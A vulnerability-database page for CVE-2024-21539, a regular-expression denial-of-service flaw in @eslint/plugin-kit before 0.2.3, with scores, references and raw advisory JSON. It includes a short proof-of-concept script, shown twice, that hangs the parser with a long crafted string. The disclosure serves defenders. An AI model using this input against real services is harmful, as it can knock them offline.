Vulnerability-Lookup

GHSA-7Q7G-4XM8-89CQ

Vulnerability from github – Published: 2024-11-15 20:47 – Updated: 2024-11-19 20:49

Summary

Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

Details

Crafting a very large and well crafted string can increase the CPU usage and crash the program.

POC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

var str = "";
for (var i = 0; i < 1000000; i++) {
  str += " ";
}
str += "A";

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")

// run `npm i @eslint/plugin-kit` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Severity

3.5 (Low)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@eslint/plugin-kit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-21539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-15T20:47:31Z",
    "nvd_published_at": "2024-11-19T05:15:16Z",
    "severity": "LOW"
  },
  "details": "Crafting a very large and well crafted string can increase the CPU usage and crash the program.\n\n## POC\n\n```js\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nvar str = \"\";\nfor (var i = 0; i \u003c 1000000; i++) {\n  str += \" \";\n}\nstr += \"A\";\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseStringConfig(str, \"\"));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit` and `node attack.js` \n// then the program will stuck forever with high CPU usage\n```",
  "id": "GHSA-7q7g-4xm8-89cq",
  "modified": "2024-11-19T20:49:57Z",
  "published": "2024-11-15T20:47:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eslint/rewrite/security/advisories/GHSA-7q7g-4xm8-89cq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21539"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eslint/rewrite"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8340627"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit"
}

CVE-2024-21539 (GCVE-0-2024-21539)

Vulnerability from cvelistv5 – Published: 2024-11-19 05:00 – Updated: 2026-08-18 15:25

Summary

Versions of the package @eslint/plugin-kit before 0.2.3 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by exploiting this vulnerability.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-11-19 14:44 UTC

CWE

CWE-1333 - Regular Expression Denial of Service (ReDoS)
CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

snyk mitre root

References

2 references

URL	Tags
https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGI…
https://github.com/eslint/rewrite/commit/071be842…

Impacted products

2 products

Vendor	Product	Version
n/a	@eslint/plugin-kit	Affected: 0 , < 0.2.3 (semver)
eslint	rewrite	Affected: 0 , < 0.2.3 (custom) cpe:2.3:a:eslint:rewrite::::::::

Credits

Rongchen Li

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:eslint:rewrite:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "rewrite",
            "vendor": "eslint",
            "versions": [
              {
                "lessThan": "0.2.3",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-21539",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-11-19T14:44:47.714660Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-770",
                "description": "CWE-770 Allocation of Resources Without Limits or Throttling",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-19T15:18:10.708Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "@eslint/plugin-kit",
          "vendor": "n/a",
          "versions": [
            {
              "lessThan": "0.2.3",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Rongchen Li"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Versions of the package @eslint/plugin-kit before 0.2.3 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by exploiting this vulnerability."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "exploitCodeMaturity": "PROOF_OF_CONCEPT",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
            "version": "3.1"
          },
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "exploitMaturity": "PROOF_OF_CONCEPT",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1333",
              "description": "Regular Expression Denial of Service (ReDoS)",
              "lang": "en"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-18T15:25:17.315Z",
        "orgId": "bae035ff-b466-4ff4-94d0-fc9efd9e1730",
        "shortName": "snyk"
      },
      "references": [
        {
          "url": "https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8340627"
        },
        {
          "url": "https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "bae035ff-b466-4ff4-94d0-fc9efd9e1730",
    "assignerShortName": "snyk",
    "cveId": "CVE-2024-21539",
    "datePublished": "2024-11-19T05:00:02.929Z",
    "dateReserved": "2023-12-22T12:33:20.123Z",
    "dateUpdated": "2026-08-18T15:25:17.315Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.